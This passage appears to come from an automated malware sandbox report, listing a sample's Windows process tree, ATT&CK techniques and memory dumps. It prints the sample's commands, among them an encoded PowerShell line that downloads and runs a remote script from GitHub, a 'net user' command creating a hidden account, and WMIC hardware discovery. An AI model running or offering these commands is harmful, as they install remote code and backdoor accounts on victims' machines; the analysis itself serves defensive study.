- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc zGPS8iF9
    3⤵
    PID:2128

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:3312

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2124
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:1120

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3748
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4008

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/156-203-0x00000267D1E06000-0x00000267D1E08000-memory.dmp

Filesize
8KB

Download
memory/156-205-0x00000267D1E08000-0x00000267D1E0A000-memory.dmp

Filesize
8KB

Download
memory/156-202-0x00000267D1E03000-0x00000267D1E05000-memory.dmp

Filesize
8KB

Download
memory/156-201-0x00000267D1E00000-0x00000267D1E02000-memory.dmp

Filesize
8KB

Download
memory/180-128-0x000001FEC21B0000-0x000001FEC21B1000-memory.dmp

Filesize
4KB

Download
memory/180-151-0x000001FEC26D0000-0x000001FEC26D1000-memory.dmp

Filesize
4KB

Download
memory/180-136-0x000001FEA9D43000-0x000001FEA9D45000-memory.dmp

Filesize
8KB

Download
memory/180-137-0x000001FEA9D46000-0x000001FEA9D48000-memory.dmp

Filesize
8KB

Download
memory/180-134-0x000001FEA9D40000-0x000001FEA9D42000-memory.dmp

Filesize
8KB

Download
memory/180-145-0x000001FEA9D70000-0x000001FEA9D71000-memory.dmp

Filesize
4KB

Download
memory/180-125-0x000001FEA9D10000-0x000001FEA9D11000-memory.dmp

Filesize
4KB

Download
memory/180-152-0x000001FEC2A60000-0x000001FEC2A61000-memory.dmp

Filesize
4KB

Download
memory/180-210-0x000001FEA9D48000-0x000001FEA9D49000-memory.dmp

Filesize
4KB

Download
memory/1652-209-0x0000019551138000-0x000001955113A000-memory.dmp

Filesize
8KB

Download
memory/1652-206-0x0000019551130000-0x0000019551132000-memory.dmp

Filesize
8KB

Download
memory/1652-208-0x0000019551136000-0x0000019551138000-memory.dmp

Filesize
8KB

Download
memory/1652-207-0x0000019551133000-0x0000019551135000-memory.dmp

Filesize
8KB

Download
memory/2892-169-0x0000025876883000-0x0000025876885000-memory.dmp

Filesize
8KB

Download
memory/2892-200-0x0000025876888000-0x000002587688A000-memory.dmp

Filesize
8KB

Download
memory/2892-168-0x0000025876880000-0x0000025876882000-memory.dmp

Filesize
8KB

Download
memory/2892-193-0x0000025876886000-0x0000025876888000-memory.dmp

Filesize
8KB

Download
memory/3896-116-0x000001DCC6360000-0x000001DCC6362000-memory.dmp

Filesize
8KB

Download
memory/3896-119-0x000001DCC6366000-0x000001DCC6367000-memory.dmp

Filesize
4KB

Download
memory/3896-114-0x000001DCC67A0000-0x000001DCC6BC1000-memory.dmp

Filesize
4.1MB

Download
memory/3896-117-0x000001DCC6363000-0x000001DCC6365000-memory.dmp

Filesize
8KB

Download
memory/3896-118-0x000001DCC6365000-0x000001DCC6366000-memory.dmp

Filesize
4KB

Download
memory/4008-242-0x000001EC3AD90000-0x000001EC3AD92000-memory.dmp

Filesize
8KB

Download
memory/4008-245-0x000001EC3AD98000-0x000001EC3AD99000-memory.dmp

Filesize
4KB

Download
memory/4008-244-0x000001EC3AD96000-0x000001EC3AD98000-memory.dmp

Filesize
8KB

Download
memory/4008-243-0x000001EC3AD93000-0x000001EC3AD95000-memory.dmp

Filesize
8KB

Download